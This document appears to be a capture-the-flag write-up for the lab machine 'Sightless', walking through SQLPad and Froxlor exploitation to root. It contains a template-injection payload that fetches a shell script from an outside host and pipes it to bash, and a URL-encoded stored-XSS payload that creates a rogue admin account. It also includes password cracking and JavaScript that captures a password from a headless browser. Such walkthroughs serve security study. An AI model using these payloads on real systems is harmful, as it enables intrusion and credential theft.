Reconnaissance
21/tcp open ftp
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.129.249.19]
| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_ 256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://sightless.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
The domain from the redirect on port 80 sightless.htb
goes right into the /etc/hosts
file. An open FTP server is unusual and that’s where I start.
FTP
Checking anonymous
login first on the FTP server, I get an error 550 SSL/TLS required on the control channel
, indicating that SSL is required.
ftp anonymous@sightless.htb
Connected to sightless.htb.
220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.129.249.19]
550 SSL/TLS required on the control channel
ftp: Login failed
ftp>
The normal ftp client does not support SSL and I install lftp
instead. Unfortunately anonymous
login seems to be disabled and I move on.
lftp
> set ssl:verify-certificate no
> connect sightless.htb
> login anonymous
Password: # anonymous
> ls
ls: Login failed: 530 Login incorrect.
HTTP
Browsing to sightless.htb
shows the page for a database and server management solution. The advertised services specify Froxlor, an admin software, and SQLPad, a web application to interact with a SQL server. The latter pointing towards sqlpad.sightless.htb
. I’ll add this domain to my /etc/hosts
file. Behind the Contact Us button is a mailto link to sales@sightless.htb
.
Following the link to SQLPad, I’m greeted with an interactive window to run SQL commands. Going to the upper right corner and clicking About reveals that version 6.10.0
is in use.
Execution
A quick online research finds CVE-2022-0944 for that particular version. It’s a remote code execution through template injection within the database connection test. A PoC is available, that I quickly adapt to my needs. I’ll change it to retrieve a shell script with a reverse shell from my webserver and pipe that to bash.
{{ process.mainModule.require('child_process').exec('wget 10.10.10.10/shell.sh -O- | bash') }}
I create a new connection, choose MySQL as driver and place the payload into Database. I follow that up with a click on Test and receive a shell as root
.
Privilege Escalation
Shell as michael
I find myself with in a Docker container with just another user configured: michael
. I extract his password from /etc/shadow
to check if I can crack it. Possibly it’s valid for the host.
hashcat -m 1800 \
'$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/' \
/usr/share/wordlist/rockyou.txt
--- SNIP ---
$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:insaneclownposse
--- SNIP ---
hashcat is able to crack the password and I can use the password insaneclownposse
to login as michael
to collect the first flag.
Shell as root
Besides root there’s another user called john
on the system. Based on the ps output he seems fairly active, running some automation script and a headless Chrome. From running ss
I can see that there’s something running on port 8080 and upon further inspection that’s Froxlor, so I’ll forward that port to my local machine by adding -L 8000:127.0.0.1:8080
to my SSH command.
ps auxwww | grep -i [j]ohn
john 1216 0.0 0.0 2892 956 ? Ss Sep16 0:00 /bin/sh -c sleep 140 && /home/john/automation/healthcheck.sh
john 1217 0.0 0.0 2892 1004 ? Ss Sep16 0:00 /bin/sh -c sleep 110 && /usr/bin/python3 /home/john/automation/administration.py
john 1651 0.0 0.6 33660 24624 ? S Sep16 0:24 /usr/bin/python3 /home/john/automation/administration.py
john 1652 0.3 0.3 33630172 15036 ? Sl Sep16 2:43 /home/john/automation/chromedriver --port=52883
john 1657 0.0 0.0 0 0 ? Z Sep16 0:00 [chromedriver] <defunct>
john 1663 0.6 2.8 34003124 113632 ? Sl Sep16 4:30 /opt/google/chrome/chrome --allow-pre-commit-input --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-dev-shm-usage --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-logging --headless --log-level=0 --no-first-run --no-sandbox --no-service-autorun --password-store=basic --remote-debugging-port=0 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.org.chromium.Chromium.81okMC data:,
john 1665 0.0 0.0 33575860 3044 ? Sl Sep16 0:00 /opt/google/chrome/chrome_crashpad_handler --monitor-self-annotation=ptype=crashpad-handler --database=/tmp/Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=lsb-release=Ubuntu 22.04.4 LTS --annotation=plat=Linux --annotation=prod=Chrome_Headless --annotation=ver=125.0.6422.60 --initial-client-fd=6 --shared-client-connection
john 1669 0.0 1.4 34112456 56256 ? S Sep16 0:00 /opt/google/chrome/chrome --type=zygote --no-zygote-sandbox --no-sandbox --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=1665 --enable-crash-reporter
john 1670 0.0 1.4 34112456 56552 ? S Sep16 0:00 /opt/google/chrome/chrome --type=zygote --no-sandbox --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=1665 --enable-crash-reporter
john 1685 0.3 3.0 34362352 121680 ? Sl Sep16 2:43 /opt/google/chrome/chrome --type=gpu-process --no-sandbox --disable-dev-shm-usage --headless --ozone-platform=headless --use-angle=swiftshader-webgl --headless --crashpad-handler-pid=1665 --gpu-preferences=WAAAAAAAAAAgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --shared-files --fie
john 1686 0.1 2.1 33900068 87088 ? Sl Sep16 1:00 /opt/google/chrome/chrome --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --disable-dev-shm-usage --use-angle=swiftshader-webgl --use-gl=angle --headless --crashpad-handler-pid=1665 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=3,i,10493382707754093084,977787908137688026,262144 --disable-features=PaintHolding --variations-seed-version --enable-logging --log-level=0 --enable-crash-reporter
john 1714 2.9 4.1 1186798708 163196 ? Sl Sep16 21:06 /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=1665 --no-sandbox --disable-dev-shm-usage --enable-automation --remote-debugging-port=0 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1726516759052566 --launc
john 1763 0.0 0.0 7372 3524 ? S Sep16 0:00 /bin/bash /home/john/automation/healthcheck.sh
john 19902 0.0 0.0 5772 1092 ? S 08:03 0:00 sleep 60
ss -tln
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:40303 0.0.0.0:*
LISTEN 0 10 127.0.0.1:42219 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 511 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 5 127.0.0.1:52883 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 128 *:21 *:*
Trying to access the forwarded port via IP shows some kind of error message regarding Domain Configuration. I assume this is due the fact I am not using the proper domain name to access the service.
Checking the /etc/hosts
on the target, there’s admin.sightless.htb
. I add this to my own hosts and map it to 127.0.0.1
. Changing the URL in the browser to http://admin.sightless.htb:8000
now shows the login page to Froxlor.
Searching for recent vulnerabilities for Froxlor finds CVE-2024-34070, a stored and blind cross-site scripting vulnerability in the failed login attempts logging feature. This can lead to complete application take-over when an Administrator views the System Logs page.
The vulnerability description comes with a sample exploit that does create a new admin user with credentials abcd:Abcd@@1234
and alerts Your Froxlor Application has been completely Hacked when the logs are viewed. I’ll remove the alert statement to make the exploit silent and replace the hardcoded domain of http://demo.froxlor.com/admin_admins.php
with the relative version /admin_admins.php
.
Fail
The password in the advisory has a typo and should be
Abcd@@1234
with a capitalA
as seen in the payload.
admin{{$emit.constructor`function+b(){var+metaTag%3ddocument.querySelector('meta[name%3d"csrf-token"]')%3bvar+csrfToken%3dmetaTag.getAttribute('content')%3bvar+xhr%3dnew+XMLHttpRequest()%3bvar+url%3d"/admin_admins.php"%3bvar+params%3d"new_loginname%3dabcd%26admin_password%3dAbcd%40%401234%26admin_password_suggestion%3dmgphdKecOu%26def_language%3den%26api_allowed%3d0%26api_allowed%3d1%26name%3dAbcd%26email%3dyldrmtest%40gmail.com%26custom_notes%3d%26custom_notes_show%3d0%26ipaddress%3d-1%26change_serversettings%3d0%26change_serversettings%3d1%26customers%3d0%26customers_ul%3d1%26customers_see_all%3d0%26customers_see_all%3d1%26domains%3d0%26domains_ul%3d1%26caneditphpsettings%3d0%26caneditphpsettings%3d1%26diskspace%3d0%26diskspace_ul%3d1%26traffic%3d0%26traffic_ul%3d1%26subdomains%3d0%26subdomains_ul%3d1%26emails%3d0%26emails_ul%3d1%26email_accounts%3d0%26email_accounts_ul%3d1%26email_forwarders%3d0%26email_forwarders_ul%3d1%26ftps%3d0%26ftps_ul%3d1%26mysqls%3d0%26mysqls_ul%3d1%26csrf_token%3d"%2bcsrfToken%2b"%26page%3dadmins%26action%3dadd%26send%3dsend"%3bxhr.open("POST",url,true)%3bxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded")%3bxhr.send(params)}%3ba%3db()`()}}
I do configure the browser to go through BurpSuite and intercept a login request to replace the username with the payload. Then I’ll forward the request and turn off intercept.
A few minutes pass and then I’m able to login with the newly created account. Besides the Admins there are also Customers available under Resources. There’s just one customercalled web1
and since I am an administrator, I can reset the password.
Knowing the password allows me to login as web1
and I can find another account for FTP with the same username. I proceed to reset the password there as well.
From the reconnaissance I already know that FTP requires SSL and therefore I use lftp again. Providing the credentials for web1
works and I can list the contents of the folders. There is not much to discover but going doing goaccess > backup, there’s a Keepass database that I do download to my host.
lftp
lftp :~> set ssl:verify-certificate no
lftp :~> connect sightless.htb
lftp sightless.htb:~> login web1
Password:
lftp web1@sightless.htb:~> ls
drwxr-xr-x 3 web1 web1 4096 May 17 03:17 goaccess
-rw-r--r-- 1 web1 web1 8376 Mar 29 10:29 index.html
lftp web1@sightless.htb:/> cd goaccess
lftp web1@sightless.htb:/goaccess> ls
drwxr-xr-x 2 web1 web1 4096 Aug 2 07:14 backup
lftp web1@sightless.htb:/goaccess> cd backup
lftp web1@sightless.htb:/goaccess/backup> ls
-rw-r--r-- 1 web1 web1 5292 Aug 6 14:29 Database.kdb
lftp web1@sightless.htb:/goaccess/backup> get Database.kdb
5292 bytes transferred
Those password safes are usually secured by a password and since I’ve reset the actual passwords for John I can’t test for password reusage. That means I have to resort to cracking the password with john the ripper.
First the actual hash has to be generated with keepass2john
and that can be used for cracking the password bulldogs
.
keepass2john Database.kdb > keepass_hash
Inlining Database.kdb
john --fork=10 --wordlist=/usr/share/wordlists/rockyou.txt keepass_hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 600000 for all loaded hashes
Cost 2 (version) is 1 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Node numbers 1-10 of 10 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
bulldogs (Database.kdb)
--- SNIP ---
To open the Database.kdb
file, I install KeepassXC with sudo apt install keepassxc
. Trying to open the database just returns an error message since .kdb
is the version 1. Instead one should use the Import feature.
Going to Database > Import… I can choose Keepass Version 1 and supply the necessary information. That does create a new Keepass database with the imported entries.
There is really just one entry called ssh that has a SSH key file attached and that I save on the disk.
Actually trying to use the key produces a rather cryptic error message: error in libcrypto. In this case it’s because the file contains Windows line-endings CRLF (\r\n
), while SSH expects just LF and is missing a newline at the end. dos2unix
can be used to quickly fix the line endings and echo
to add a newline at the end.
ssh -i id_rsa root@sightless.htb
Load key "id_rsa": error in libcrypto
root@sightless.htb's password:
dos2unix id_rsa
dos2unix: converting file id_rsa to Unix format...
echo "" >> id_rsa
This lets me use the key to login and collect the final flag.
Unintended Path
Froxlor Admin
As michael
I’ve already seen that john is using a headless Chrome browser for the automation. The process listing does not reveal the actual debug port, but there are several high ports listening. By requesting /json
it’s possible to determine the correct port, that I do forward with SSH to access it locally through my Chrome instance.
curl 127.0.0.1:42219/json
[ {
"description": "",
"devtoolsFrontendUrl": "/devtools/inspector.html?ws=127.0.0.1:42219/devtools/page/1D18816B8AA7EBF45B972EFBF76A1190",
"id": "1D18816B8AA7EBF45B972EFBF76A1190",
"title": "Froxlor",
"type": "page",
"url": "http://admin.sightless.htb:8080/",
"webSocketDebuggerUrl": "ws://127.0.0.1:42219/devtools/page/1D18816B8AA7EBF45B972EFBF76A1190"
} ]
Configuring localhost:42219
as new target in chrome://inspect/#devices
shows two sessions that I can inspect and watch john in real-time.
He’s putting in the login information for Froxlor and navigating to the System log (in order to trigger the XSS for the intended way). With a tiny bit of Javascript, I’ll add an event listener to the password prompt and steal the password for the admin
user.
document.getElementById('password').onchange = function() { console.log(document.getElementById('password').value)};
Before pasting the Javascript into the console, I make sure that the logs are preserved and the browser session is set to the login prompt - otherwise it’s not possible to add the event listener. Right after the bot presses Login the actual password ForlorfroxAdmin
is logged to the console.
With this password I can go back to the intended part or proceed to abuse the application via PHP-FHM
instead.
PHP-FHM to root
Access to the admin interface of Froxlor lets me modify the PHP-FPM versions and set a new restart command. I can replace the whole command and set it to a shell script I’ve created on the host. It does take some time to run but eventually the process is restarted and runs my script.
Attack Path
flowchart TD subgraph "Execution" A(SQLPad) -->|CVE-2022-0944| B(Shell as root in container) end subgraph "Privilege Escalation" B -->|Crack Hash in /etc/shadow| C(Shell as michael) C -->|CVE-2024-34070| D(Account on Froxlor) C -->|"Unintended\nChrome Debugging Port"| D D -->|Reset Passwords| E(Access as john in FTP) E -->|Crack Keepass for SSH Key| F(Shell as root) D -->|"Unintended\nPHP-FPM"| F end